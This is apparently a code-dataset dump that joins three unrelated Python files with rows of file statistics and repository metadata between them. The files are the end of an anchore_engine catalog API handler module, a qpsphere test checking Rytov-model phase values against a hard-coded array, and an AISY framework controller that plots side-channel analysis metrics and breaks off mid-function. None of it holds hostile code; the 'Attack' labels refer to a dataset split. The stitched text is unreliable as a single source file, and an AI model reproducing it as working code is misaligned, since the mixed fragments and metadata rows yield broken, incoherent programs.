return_object, httpcode = anchore_engine.services.catalog.catalog_impl.system_registries_registry(session, request_inputs, registry)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
def system_registries_registry_delete(registry):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.system_registries_registry(session, request_inputs, registry)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
def system_registries_registry_put(registry, bodycontent):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.system_registries_registry(session, request_inputs, registry, bodycontent=bodycontent)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
# @api.route("/system/subscriptions", methods=['GET'])
def system_subscriptions_get():
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.system_subscriptions(session, request_inputs)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
def system_prune_get():
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.system_prune_listresources(session, request_inputs)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
def system_prune_resourcetype_get(resourcetype, dangling=True, olderthan=None):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={'dangling': dangling, 'olderthan': olderthan})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.system_prune(session, request_inputs, resourcetype)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
def system_prune_resourcetype_post(resourcetype, bodycontent):
try:
request_inputs = anchore_engine.services.common.do_request_prep(connexion.request, default_params={})
with db.session_scope() as session:
return_object, httpcode = anchore_engine.services.catalog.catalog_impl.system_prune(session, request_inputs, resourcetype, bodycontent=bodycontent)
except Exception as err:
httpcode = 500
return_object = str(err)
return (return_object, httpcode)
| 37.453659 | 194 | 0.718199 | 2,653 | 23,034 | 5.988692 | 0.039201 | 0.101964 | 0.118958 | 0.079305 | 0.889665 | 0.879783 | 0.874056 | 0.874056 | 0.874056 | 0.871098 | 0 | 0.007382 | 0.188461 | 23,034 | 614 | 195 | 37.514658 | 0.842561 | 0.054702 | 0 | 0.783133 | 0 | 0 | 0.007726 | 0 | 0 | 0 | 0 | 0.001629 | 0 | 1 | 0.108434 | false | 0 | 0.019277 | 0 | 0.236145 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
850729cbfc719eac9ae5553ea64448f1cf1ef09b | 8,171 | py | Python | tests/test_rytov.py | RI-imaging/qpsphere | 0a7ee796ed2a480d892eff1dcbd98eeb8719c72a | [
"MIT"
] | 1 | 2019-12-19T06:01:06.000Z | 2019-12-19T06:01:06.000Z | tests/test_rytov.py | RI-imaging/qpsphere | 0a7ee796ed2a480d892eff1dcbd98eeb8719c72a | [
"MIT"
] | 5 | 2017-12-11T15:06:19.000Z | 2021-12-06T00:00:24.000Z | tests/test_rytov.py | RI-imaging/qpsphere | 0a7ee796ed2a480d892eff1dcbd98eeb8719c72a | [
"MIT"
] | 1 | 2018-04-05T04:22:55.000Z | 2018-04-05T04:22:55.000Z | # flake8: noqa: E131
import numpy as np
from qpsphere.models import rytov
data = np.array(np.array([
1.23704690e-03, -1.83721900e-03, 1.75599835e-03, -2.10326957e-03,
-1.20586285e-03, -5.94630023e-04, -2.11503473e-03, 4.40055795e-04,
-1.87390624e-03, 2.35135946e-03, 2.35135946e-03, -1.87390624e-03,
4.40055795e-04, -2.11503473e-03, -5.94630023e-04, -1.20586285e-03,
-2.10326957e-03, 1.75599835e-03, -1.83721900e-03, 1.23704690e-03,
-1.83721900e-03, 1.00351009e-03, 1.22275506e-03, -8.36131570e-04,
-3.42558604e-03, -3.07089300e-03, -4.58397483e-03, -5.64555463e-04,
4.64660203e-04, 5.80798741e-03, 5.80798741e-03, 4.64660203e-04,
-5.64555463e-04, -4.58397483e-03, -3.07089300e-03, -3.42558604e-03,
-8.36131570e-04, 1.22275506e-03, 1.00351009e-03, -1.83721900e-03,
1.75599835e-03, 1.22275506e-03, -3.53087299e-03, 3.58948112e-03,
-1.51210290e-03, -4.15315945e-03, -3.97029379e-03, -1.17544107e-04,
1.47953222e-03, 5.72786573e-03, 5.72786573e-03, 1.47953222e-03,
-1.17544107e-04, -3.97029379e-03, -4.15315945e-03, -1.51210290e-03,
3.58948112e-03, -3.53087299e-03, 1.22275506e-03, 1.75599835e-03,
-2.10326957e-03, -8.36131570e-04, 3.58948112e-03, -4.02368791e-03,
5.27946278e-03, 1.57847553e-05, -2.10664654e-03, 8.14915262e-03,
-9.20925662e-03, 8.64815153e-03, 8.64815153e-03, -9.20925662e-03,
8.14915262e-03, -2.10664654e-03, 1.57847553e-05, 5.27946278e-03,
-4.02368791e-03, 3.58948112e-03, -8.36131570e-04, -2.10326957e-03,
-1.20586285e-03, -3.42558604e-03, -1.51210290e-03, 5.27946278e-03,
-6.14789175e-03, 3.11273616e-03, 6.64596492e-03, -9.47563723e-03,
1.44466665e-02, -2.27472447e-02, -2.27472447e-02, 1.44466665e-02,
-9.47563723e-03, 6.64596492e-03, 3.11273616e-03, -6.14789175e-03,
5.27946278e-03, -1.51210290e-03, -3.42558604e-03, -1.20586285e-03,
-5.94630023e-04, -3.07089300e-03, -4.15315945e-03, 1.57847553e-05,
3.11273616e-03, 8.38879496e-03, 1.42652057e-02, 1.91706214e-02,
2.10718200e-01, 2.87406445e-01, 2.87406445e-01, 2.10718200e-01,
1.91706214e-02, 1.42652057e-02, 8.38879496e-03, 3.11273616e-03,
1.57847553e-05, -4.15315945e-03, -3.07089300e-03, -5.94630023e-04,
-2.11503473e-03, -4.58397483e-03, -3.97029379e-03, -2.10664654e-03,
6.64596492e-03, 1.42652057e-02, 1.13957971e-01, 3.48833084e-01,
4.44556117e-01, 4.86700922e-01, 4.86700922e-01, 4.44556117e-01,
3.48833084e-01, 1.13957971e-01, 1.42652057e-02, 6.64596492e-03,
-2.10664654e-03, -3.97029379e-03, -4.58397483e-03, -2.11503473e-03,
4.40055795e-04, -5.64555463e-04, -1.17544107e-04, 8.14915262e-03,
-9.47563723e-03, 1.91706214e-02, 3.48833084e-01, 4.85881060e-01,
5.57587683e-01, 5.90545535e-01, 5.90545535e-01, 5.57587683e-01,
4.85881060e-01, 3.48833084e-01, 1.91706214e-02, -9.47563723e-03,
8.14915262e-03, -1.17544107e-04, -5.64555463e-04, 4.40055795e-04,
-1.87390624e-03, 4.64660203e-04, 1.47953222e-03, -9.20925662e-03,
1.44466665e-02, 2.10718200e-01, 4.44556117e-01, 5.57587683e-01,
6.23176277e-01, 6.51309371e-01, 6.51309371e-01, 6.23176277e-01,
5.57587683e-01, 4.44556117e-01, 2.10718200e-01, 1.44466665e-02,
-9.20925662e-03, 1.47953222e-03, 4.64660203e-04, -1.87390624e-03,
2.35135946e-03, 5.80798741e-03, 5.72786573e-03, 8.64815153e-03,
-2.27472447e-02, 2.87406445e-01, 4.86700922e-01, 5.90545535e-01,
6.51309371e-01, 6.79913163e-01, 6.79913163e-01, 6.51309371e-01,
5.90545535e-01, 4.86700922e-01, 2.87406445e-01, -2.27472447e-02,
8.64815153e-03, 5.72786573e-03, 5.80798741e-03, 2.35135946e-03,
2.35135946e-03, 5.80798741e-03, 5.72786573e-03, 8.64815153e-03,
-2.27472447e-02, 2.87406445e-01, 4.86700922e-01, 5.90545535e-01,
6.51309371e-01, 6.79913163e-01, 6.79913163e-01, 6.51309371e-01,
5.90545535e-01, 4.86700922e-01, 2.87406445e-01, -2.27472447e-02,
8.64815153e-03, 5.72786573e-03, 5.80798741e-03, 2.35135946e-03,
-1.87390624e-03, 4.64660203e-04, 1.47953222e-03, -9.20925662e-03,
1.44466665e-02, 2.10718200e-01, 4.44556117e-01, 5.57587683e-01,
6.23176277e-01, 6.51309371e-01, 6.51309371e-01, 6.23176277e-01,
5.57587683e-01, 4.44556117e-01, 2.10718200e-01, 1.44466665e-02,
-9.20925662e-03, 1.47953222e-03, 4.64660203e-04, -1.87390624e-03,
4.40055795e-04, -5.64555463e-04, -1.17544107e-04, 8.14915262e-03,
-9.47563723e-03, 1.91706214e-02, 3.48833084e-01, 4.85881060e-01,
5.57587683e-01, 5.90545535e-01, 5.90545535e-01, 5.57587683e-01,
4.85881060e-01, 3.48833084e-01, 1.91706214e-02, -9.47563723e-03,
8.14915262e-03, -1.17544107e-04, -5.64555463e-04, 4.40055795e-04,
-2.11503473e-03, -4.58397483e-03, -3.97029379e-03, -2.10664654e-03,
6.64596492e-03, 1.42652057e-02, 1.13957971e-01, 3.48833084e-01,
4.44556117e-01, 4.86700922e-01, 4.86700922e-01, 4.44556117e-01,
3.48833084e-01, 1.13957971e-01, 1.42652057e-02, 6.64596492e-03,
-2.10664654e-03, -3.97029379e-03, -4.58397483e-03, -2.11503473e-03,
-5.94630023e-04, -3.07089300e-03, -4.15315945e-03, 1.57847553e-05,
3.11273616e-03, 8.38879496e-03, 1.42652057e-02, 1.91706214e-02,
2.10718200e-01, 2.87406445e-01, 2.87406445e-01, 2.10718200e-01,
1.91706214e-02, 1.42652057e-02, 8.38879496e-03, 3.11273616e-03,
1.57847553e-05, -4.15315945e-03, -3.07089300e-03, -5.94630023e-04,
-1.20586285e-03, -3.42558604e-03, -1.51210290e-03, 5.27946278e-03,
-6.14789175e-03, 3.11273616e-03, 6.64596492e-03, -9.47563723e-03,
1.44466665e-02, -2.27472447e-02, -2.27472447e-02, 1.44466665e-02,
-9.47563723e-03, 6.64596492e-03, 3.11273616e-03, -6.14789175e-03,
5.27946278e-03, -1.51210290e-03, -3.42558604e-03, -1.20586285e-03,
-2.10326957e-03, -8.36131570e-04, 3.58948112e-03, -4.02368791e-03,
5.27946278e-03, 1.57847553e-05, -2.10664654e-03, 8.14915262e-03,
-9.20925662e-03, 8.64815153e-03, 8.64815153e-03, -9.20925662e-03,
8.14915262e-03, -2.10664654e-03, 1.57847553e-05, 5.27946278e-03,
-4.02368791e-03, 3.58948112e-03, -8.36131570e-04, -2.10326957e-03,
1.75599835e-03, 1.22275506e-03, -3.53087299e-03, 3.58948112e-03,
-1.51210290e-03, -4.15315945e-03, -3.97029379e-03, -1.17544107e-04,
1.47953222e-03, 5.72786573e-03, 5.72786573e-03, 1.47953222e-03,
-1.17544107e-04, -3.97029379e-03, -4.15315945e-03, -1.51210290e-03,
3.58948112e-03, -3.53087299e-03, 1.22275506e-03, 1.75599835e-03,
-1.83721900e-03, 1.00351009e-03, 1.22275506e-03, -8.36131570e-04,
-3.42558604e-03, -3.07089300e-03, -4.58397483e-03, -5.64555463e-04,
4.64660203e-04, 5.80798741e-03, 5.80798741e-03, 4.64660203e-04,
-5.64555463e-04, -4.58397483e-03, -3.07089300e-03, -3.42558604e-03,
-8.36131570e-04, 1.22275506e-03, 1.00351009e-03, -1.83721900e-03,
1.23704690e-03, -1.83721900e-03, 1.75599835e-03, -2.10326957e-03,
-1.20586285e-03, -5.94630023e-04, -2.11503473e-03, 4.40055795e-04,
-1.87390624e-03, 2.35135946e-03, 2.35135946e-03, -1.87390624e-03,
4.40055795e-04, -2.11503473e-03, -5.94630023e-04, -1.20586285e-03,
-2.10326957e-03, 1.75599835e-03, -1.83721900e-03, 1.23704690e-03]
))
def test_basic():
qpi = rytov(grid_size=(20, 20),
center=(9.5, 9.5),
radius=5e-6,
sphere_index=1.339,
wavelength=550e-9,
pixel_size=1e-6)
assert qpi["sim model"] == "rytov"
assert np.allclose(data, qpi.pha.flatten())
def test_odd():
qpi = rytov(grid_size=(21, 21),
center=(9.5, 9.5),
radius=5e-6,
sphere_index=1.339,
wavelength=550e-9,
pixel_size=1e-6)
assert qpi["sim model"] == "rytov"
# This corresponds to a phase error of 0.3% from the maximum (0.68rad)
assert np.allclose(data, qpi.pha[:20, :20].flatten(), rtol=0, atol=2e-3)
if __name__ == "__main__":
# Run all tests
loc = locals()
for key in list(loc.keys()):
if key.startswith("test_") and hasattr(loc[key], "__call__"):
loc[key]()
| 57.542254 | 76 | 0.655122 | 1,343 | 8,171 | 3.970216 | 0.10201 | 0.041073 | 0.018005 | 0.021005 | 0.94111 | 0.94111 | 0.931358 | 0.931358 | 0.931358 | 0.931358 | 0 | 0.648901 | 0.159589 | 8,171 | 141 | 77 | 57.950355 | 0.127567 | 0.012361 | 0 | 0.866142 | 0 | 0 | 0.006075 | 0 | 0 | 0 | 0 | 0 | 0.031496 | 1 | 0.015748 | false | 0 | 0.015748 | 0 | 0.031496 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
51b59b77a30f53c63e7e897e559db75c49263562 | 24,597 | py | Python | webapp/mvc/controllers/figures_controller.py | AISyLab/AISY_Framework | 51af3a639d6dee4c970859f5cd95f35f1db26dcc | [
"MIT"
] | 12 | 2021-03-26T08:17:07.000Z | 2022-01-05T22:31:19.000Z | webapp/mvc/controllers/figures_controller.py | AISyLab/AISY_Framework | 51af3a639d6dee4c970859f5cd95f35f1db26dcc | [
"MIT"
] | 1 | 2021-03-26T09:11:34.000Z | 2021-03-27T01:32:35.000Z | webapp/mvc/controllers/figures_controller.py | AISyLab/AISY_Framework | 51af3a639d6dee4c970859f5cd95f35f1db26dcc | [
"MIT"
] | 2 | 2021-03-14T01:35:49.000Z | 2021-03-31T06:43:01.000Z | from aisy_database.db_tables import *
import matplotlib.pyplot as plt
import numpy as np
import pandas as pd
class FigureController:
def __init__(self, dir_analysis_id, analysis_id, db_select):
self.dir_analysis_id = dir_analysis_id
self.analysis_id = analysis_id
self.db_select = db_select
def save_accuracy_plot(self):
analysis = self.db_select.select_analysis(Analysis, self.analysis_id)
accuracy_rows = self.db_select.select_accuracy_from_analysis(self.analysis_id)
best_accuracy_rows = self.db_select.select_best_accuracy_from_analysis(self.analysis_id)
all_rows = []
x_range = np.arange(1, analysis.settings["epochs"] + 1)
plt_obj = plt
for row in accuracy_rows:
if len(best_accuracy_rows) > 0:
plt_obj.plot(x_range, row["values"], color="lightgrey", linewidth=0.5)
else:
plt_obj.plot(x_range, row["values"], linewidth=1.5, label=row["label"])
all_rows.append(row["values"])
for row in best_accuracy_rows:
plt_obj.plot(x_range, row["values"], linewidth=1.5, label=row["label"])
all_rows.append(row["values"])
plt_obj.fill_between(x_range, np.min(all_rows, axis=0), np.max(all_rows, axis=0), color="lightgrey", alpha=0.05)
self.save_figure_to_png(plt_obj, "Epochs", "Accuracy", [1, analysis.settings["epochs"]], f"accuracy_{self.analysis_id}")
def save_loss_plot(self):
analysis = self.db_select.select_analysis(Analysis, self.analysis_id)
loss_rows = self.db_select.select_loss_from_analysis(self.analysis_id)
best_loss_rows = self.db_select.select_best_loss_from_analysis(self.analysis_id)
all_rows = []
x_range = np.arange(1, analysis.settings["epochs"] + 1)
plt_obj = plt
for row in loss_rows:
if len(best_loss_rows) > 0:
plt_obj.plot(x_range, row["values"], color="lightgrey", linewidth=0.5)
else:
plt_obj.plot(x_range, row["values"], linewidth=1.5, label=row["label"])
all_rows.append(row["values"])
for row in best_loss_rows:
plt_obj.plot(x_range, row["values"], linewidth=1.5, label=row["label"])
all_rows.append(row["values"])
plt_obj.fill_between(x_range, np.min(all_rows, axis=0), np.max(all_rows, axis=0), color="lightgrey", alpha=0.05)
self.save_figure_to_png(plt_obj, "Epochs", "Loss", [1, analysis.settings["epochs"]], f"loss_{self.analysis_id}")
def save_guessing_entropy_plot(self):
analysis = self.db_select.select_analysis(Analysis, self.analysis_id)
ge_rows = self.db_select.select_guessing_entropy_from_analysis(self.analysis_id)
best_ge_rows = self.db_select.select_best_guessing_entropy_from_analysis(self.analysis_id)
all_rows = []
x_range = np.arange(analysis.settings["key_rank_report_interval"],
analysis.settings["key_rank_attack_traces"] + analysis.settings["key_rank_report_interval"],
analysis.settings["key_rank_report_interval"])
plt_obj = plt
for row in ge_rows:
if len(best_ge_rows) > 0:
plt_obj.plot(x_range, row["values"], color="lightgrey", linewidth=0.5)
else:
plt_obj.plot(x_range, row["values"], linewidth=1.5,
label=row["label"])
all_rows.append(row["values"])
for row in best_ge_rows:
plt_obj.plot(x_range, row["values"], linewidth=1.5, label=row["label"])
all_rows.append(row["values"])
plt_obj.fill_between(x_range, np.min(all_rows, axis=0), np.max(all_rows, axis=0), color="lightgrey", alpha=0.05)
x_lim = [analysis.settings["key_rank_report_interval"], analysis.settings["key_rank_attack_traces"]]
self.save_figure_to_png(plt_obj, "Traces", "Guessing Entropy", x_lim, f"guessing_entropy_{self.analysis_id}")
def save_success_rate_plot(self):
analysis = self.db_select.select_analysis(Analysis, self.analysis_id)
sr_rows = self.db_select.select_success_rate_from_analysis(self.analysis_id)
best_sr_rows = self.db_select.select_best_success_rate_from_analysis(self.analysis_id)
all_rows = []
x_range = np.arange(analysis.settings["key_rank_report_interval"],
analysis.settings["key_rank_attack_traces"] + analysis.settings["key_rank_report_interval"],
analysis.settings["key_rank_report_interval"])
plt_obj = plt
for row in sr_rows:
if len(best_sr_rows) > 0:
plt_obj.plot(x_range, row["values"], color="lightgrey", linewidth=0.5)
else:
plt_obj.plot(x_range, row["values"], linewidth=1.5, label=row["label"])
all_rows.append(row["values"])
for row in best_sr_rows:
plt_obj.plot(x_range, row["values"], linewidth=1.5, label=row["label"])
all_rows.append(row["values"])
plt_obj.fill_between(x_range, np.min(all_rows, axis=0), np.max(all_rows, axis=0), color="lightgrey", alpha=0.05)
x_lim = [analysis.settings["key_rank_report_interval"], analysis.settings["key_rank_attack_traces"]]
self.save_figure_to_png(plt_obj, "Traces", "Success Rate", x_lim, f"success_rate_{self.analysis_id}")
def save_visualization_plot(self, hp_id):
analysis = self.db_select.select_analysis(Analysis, self.analysis_id)
visualization_rows = self.db_select.select_visualization_from_analysis(Visualization, hp_id, self.analysis_id)
x_range = np.arange(1, analysis.settings["number_of_samples"] + 1)
plt_obj = plt
for idx in range(analysis.settings["epochs"]):
plt_obj.plot(x_range, visualization_rows[idx]["values"], color="lightgrey", linewidth=0.5)
plt_obj.plot(x_range, visualization_rows[analysis.settings["epochs"] - 1]["values"], color="blue", linewidth=1,
label=f"IG Epoch {analysis.settings['epochs']}")
x_lim = [1, analysis.settings["number_of_samples"]]
self.save_figure_to_png(plt_obj, "Samples", "Input Gradient", x_lim, f"input_gradient_hp_{hp_id}_{self.analysis_id}")
def save_visualization_heatmap_plot(self, hp_id):
analysis = self.db_select.select_analysis(Analysis, self.analysis_id)
visualization_rows = self.db_select.select_visualization_from_analysis(Visualization, hp_id, self.analysis_id)
all_rows = []
plt_obj = plt
figure = plt_obj.gcf()
figure.set_size_inches(6, 4)
x_lim = [1, analysis.settings["number_of_samples"]]
plt_obj.xlim(x_lim)
for idx in range(analysis.settings["epochs"]):
all_rows.append(visualization_rows[idx]["values"])
plt_obj.imshow(all_rows, cmap='viridis', interpolation='nearest', aspect='auto')
plt_obj.colorbar()
plt_obj.xlabel("Samples", fontsize=14)
plt_obj.ylabel("Epoch", fontsize=14)
plt_obj.tight_layout()
plt_obj.savefig(f"{self.dir_analysis_id}/input_gradient_heatmap_hp_{hp_id}_{self.analysis_id}.png", dpi=300)
plt_obj.close()
def save_profiling_analyzer_guessing_entropy_plot(self):
analysis = self.db_select.select_analysis(Analysis, self.analysis_id)
steps = analysis.settings["profiling_analyzer_steps"]
elem_values = self.db_select.select_all_guessing_entropy_from_analysis(GuessingEntropy, self.analysis_id)
profiling_traces_list = []
metric_list = []
color_list = []
ge_list = []
best_model = {}
best_model["Validation"] = {}
best_model["Validation"]["x"] = []
best_model["Validation"]["y"] = []
best_model["Attack"] = {}
best_model["Attack"]["x"] = []
best_model["Attack"]["y"] = []
if analysis.settings["use_early_stopping"]:
for es_metric in analysis.settings["early_stopping"]["metrics"]:
best_model[f"{es_metric} Validation"] = {}
best_model[f"{es_metric} Validation"]["x"] = []
best_model[f"{es_metric} Validation"]["y"] = []
best_model[f"{es_metric} Attack"] = {}
best_model[f"{es_metric} Attack"]["x"] = []
best_model[f"{es_metric} Attack"]["y"] = []
number_of_searches = None
if analysis.settings["use_grid_search"]:
number_of_searches = analysis.settings["grid_search"]["max_trials"]
if analysis.settings["use_random_search"]:
number_of_searches = analysis.settings["random_search"]["max_trials"]
for n_profiling_traces in steps:
for elem in elem_values:
if "values" in elem:
if number_of_searches is not None:
for search_index in range(number_of_searches):
for data_set in ["Validation", "Attack"]:
if f"{data_set} Set {search_index} {n_profiling_traces} traces" in elem["label"]:
profiling_traces_list.append(n_profiling_traces)
ge_list.append(elem['values'][len(elem['values']) - 1])
metric_list.append(f"{data_set} Set")
color_list.append("blue" if data_set == "Validation" else "red")
if analysis.settings["use_early_stopping"]:
for es_metric in analysis.settings["early_stopping"]["metrics"]:
for data_set in ["Validation", "Attack"]:
if f"ES {data_set} Set {es_metric} {search_index} {n_profiling_traces} traces" in elem["label"]:
profiling_traces_list.append(n_profiling_traces)
ge_list.append(elem['values'][len(elem['values']) - 1])
metric_list.append(f"ES {data_set} Set")
color_list.append("green" if data_set == "Validation" else "orange")
for data_set in ["Validation", "Attack"]:
if f"{data_set} Set Best Model {n_profiling_traces} traces" in elem["label"]:
best_model[data_set]["x"].append(n_profiling_traces)
best_model[data_set]["y"].append(elem['values'][len(elem['values']) - 1])
if analysis.settings["use_early_stopping"]:
for es_metric in analysis.settings["early_stopping"]["metrics"]:
for data_set in ["Validation", "Attack"]:
if f"ES {data_set} Set {es_metric} Best Model {n_profiling_traces} traces" in elem["label"]:
best_model[f"{es_metric} {data_set}"]["x"].append(n_profiling_traces)
best_model[f"{es_metric} {data_set}"]["y"].append(elem['values'][len(elem['values']) - 1])
# data = {
# "ProfilingTraces": profiling_traces_list,
# "GE": ge_list,
# "metric": metric_list,
# "Set": color_list,
# }
# dataframe = pd.DataFrame(data)
# plt.scatter(dataframe.ProfilingTraces, dataframe.GE, s=10, c=dataframe.Set)
plt.plot(best_model["Validation"]["x"], best_model["Validation"]["y"], label="Best Model Validation", linewidth=1.0)
plt.plot(best_model["Attack"]["x"], best_model["Attack"]["y"], label="Best Model Attack", linewidth=1.5)
if analysis.settings["use_early_stopping"]:
for es_metric in analysis.settings["early_stopping"]["metrics"]:
plt.plot(best_model[f"{es_metric} Validation"]["x"], best_model[f"{es_metric} Validation"]["y"],
label=f"Best Model {es_metric} Validation", linestyle="--", linewidth=1.0)
plt.plot(best_model[f"{es_metric} Attack"]["x"], best_model[f"{es_metric} Attack"]["y"],
label=f"Best Model {es_metric} Attack",
linestyle="--", linewidth=1.5)
figure = plt.gcf()
figure.set_size_inches(6, 2.5)
plt.grid()
plt.xlabel("Profiling Traces")
plt.ylabel("Guessing Entropy")
plt.xlim([min(profiling_traces_list), max(profiling_traces_list)])
plt.xticks(steps, steps)
plt.legend()
plt.tight_layout()
plt.savefig(f"{self.dir_analysis_id}/pa_guessing_entropy_{self.analysis_id}.png", dpi=300)
plt.close()
def save_profiling_analyzer_success_rate_plot(self):
analysis = self.db_select.select_analysis(Analysis, self.analysis_id)
steps = analysis.settings["profiling_analyzer_steps"]
elem_values = self.db_select.select_all_success_rate_from_analysis(SuccessRate, self.analysis_id)
profiling_traces_list = []
metric_list = []
color_list = []
ge_list = []
best_model = {}
best_model["Validation"] = {}
best_model["Validation"]["x"] = []
best_model["Validation"]["y"] = []
best_model["Attack"] = {}
best_model["Attack"]["x"] = []
best_model["Attack"]["y"] = []
if analysis.settings["use_early_stopping"]:
for es_metric in analysis.settings["early_stopping"]["metrics"]:
best_model[f"{es_metric} Validation"] = {}
best_model[f"{es_metric} Validation"]["x"] = []
best_model[f"{es_metric} Validation"]["y"] = []
best_model[f"{es_metric} Attack"] = {}
best_model[f"{es_metric} Attack"]["x"] = []
best_model[f"{es_metric} Attack"]["y"] = []
number_of_searches = None
if analysis.settings["use_grid_search"]:
number_of_searches = analysis.settings["grid_search"]["max_trials"]
if analysis.settings["use_random_search"]:
number_of_searches = analysis.settings["random_search"]["max_trials"]
for n_profiling_traces in steps:
for elem in elem_values:
if "values" in elem:
if number_of_searches is not None:
for search_index in range(number_of_searches):
for data_set in ["Validation", "Attack"]:
if f"{data_set} Set {search_index} {n_profiling_traces} traces" in elem["label"]:
profiling_traces_list.append(n_profiling_traces)
ge_list.append(elem['values'][len(elem['values']) - 1])
metric_list.append(f"{data_set} Set")
color_list.append("blue" if data_set == "Validation" else "red")
if analysis.settings["use_early_stopping"]:
for es_metric in analysis.settings["early_stopping"]["metrics"]:
for data_set in ["Validation", "Attack"]:
if f"ES {data_set} Set {es_metric} {search_index} {n_profiling_traces} traces" in elem["label"]:
profiling_traces_list.append(n_profiling_traces)
ge_list.append(elem['values'][len(elem['values']) - 1])
metric_list.append(f"ES {data_set} Set")
color_list.append("green" if data_set == "Validation" else "orange")
for data_set in ["Validation", "Attack"]:
if f"{data_set} Set Best Model {n_profiling_traces} traces" in elem["label"]:
best_model[data_set]["x"].append(n_profiling_traces)
best_model[data_set]["y"].append(elem['values'][len(elem['values']) - 1])
if analysis.settings["use_early_stopping"]:
for es_metric in analysis.settings["early_stopping"]["metrics"]:
for data_set in ["Validation", "Attack"]:
if f"ES {data_set} Set {es_metric} Best Model {n_profiling_traces} traces" in elem["label"]:
best_model[f"{es_metric} {data_set}"]["x"].append(n_profiling_traces)
best_model[f"{es_metric} {data_set}"]["y"].append(elem['values'][len(elem['values']) - 1])
# data = {
# "ProfilingTraces": profiling_traces_list,
# "GE": ge_list,
# "metric": metric_list,
# "Set": color_list,
# }
# dataframe = pd.DataFrame(data)
# plt.scatter(dataframe.ProfilingTraces, dataframe.GE, s=10, c=dataframe.Set)
plt.plot(best_model["Validation"]["x"], best_model["Validation"]["y"], label="Best Model Validation", linewidth=1.0)
plt.plot(best_model["Attack"]["x"], best_model["Attack"]["y"], label="Best Model Attack", linewidth=1.5)
if analysis.settings["use_early_stopping"]:
for es_metric in analysis.settings["early_stopping"]["metrics"]:
plt.plot(best_model[f"{es_metric} Validation"]["x"], best_model[f"{es_metric} Validation"]["y"],
label=f"Best Model {es_metric} Validation", linestyle="--", linewidth=1.0)
plt.plot(best_model[f"{es_metric} Attack"]["x"], best_model[f"{es_metric} Attack"]["y"],
label=f"Best Model {es_metric} Attack",
linestyle="--", linewidth=1.5)
figure = plt.gcf()
figure.set_size_inches(6, 2.5)
plt.grid()
plt.xlabel("Profiling Traces")
plt.ylabel("Success Rate")
plt.xlim([min(profiling_traces_list), max(profiling_traces_list)])
plt.xticks(steps, steps)
plt.legend()
plt.tight_layout()
plt.savefig(f"{self.dir_analysis_id}/pa_success_rate_{self.analysis_id}.png", dpi=300)
plt.close()
def save_profiling_analyzer_number_of_traces_plot(self):
analysis = self.db_select.select_analysis(Analysis, self.analysis_id)
steps = analysis.settings["profiling_analyzer_steps"]
elem_values = self.db_select.select_all_guessing_entropy_from_analysis(GuessingEntropy, self.analysis_id)
for elem in elem_values:
if elem['values'][len(elem['values']) - 1] < 2:
elem['values'] = analysis.settings["key_rank_attack_traces"] - np.searchsorted(elem["values"][::-1], 2) * \
analysis.settings["key_rank_report_interval"]
else:
elem['values'] = analysis.settings["key_rank_attack_traces"]
profiling_traces_list = []
metric_list = []
color_list = []
ge_list = []
best_model = {}
best_model["Validation"] = {}
best_model["Validation"]["x"] = []
best_model["Validation"]["y"] = []
best_model["Attack"] = {}
best_model["Attack"]["x"] = []
best_model["Attack"]["y"] = []
if analysis.settings["use_early_stopping"]:
for es_metric in analysis.settings["early_stopping"]["metrics"]:
best_model[f"{es_metric} Validation"] = {}
best_model[f"{es_metric} Validation"]["x"] = []
best_model[f"{es_metric} Validation"]["y"] = []
best_model[f"{es_metric} Attack"] = {}
best_model[f"{es_metric} Attack"]["x"] = []
best_model[f"{es_metric} Attack"]["y"] = []
number_of_searches = None
if analysis.settings["use_grid_search"]:
number_of_searches = analysis.settings["grid_search"]["max_trials"]
if analysis.settings["use_random_search"]:
number_of_searches = analysis.settings["random_search"]["max_trials"]
for n_profiling_traces in steps:
for elem in elem_values:
if "values" in elem:
if number_of_searches is not None:
for search_index in range(number_of_searches):
for data_set in ["Validation", "Attack"]:
if f"{data_set} Set {search_index} {n_profiling_traces} traces" in elem["label"]:
profiling_traces_list.append(n_profiling_traces)
ge_list.append(elem['values'])
metric_list.append(f"{data_set} Set")
color_list.append("blue" if data_set == "Validation" else "red")
if analysis.settings["use_early_stopping"]:
for es_metric in analysis.settings["early_stopping"]["metrics"]:
for data_set in ["Validation", "Attack"]:
if f"ES {data_set} Set {es_metric} {search_index} {n_profiling_traces} traces" in elem["label"]:
profiling_traces_list.append(n_profiling_traces)
ge_list.append(elem['values'])
metric_list.append(f"ES {data_set} Set")
color_list.append("green" if data_set == "Validation" else "orange")
for data_set in ["Validation", "Attack"]:
if f"{data_set} Set Best Model {n_profiling_traces} traces" in elem["label"]:
best_model[data_set]["x"].append(n_profiling_traces)
best_model[data_set]["y"].append(elem['values'])
if analysis.settings["use_early_stopping"]:
for es_metric in analysis.settings["early_stopping"]["metrics"]:
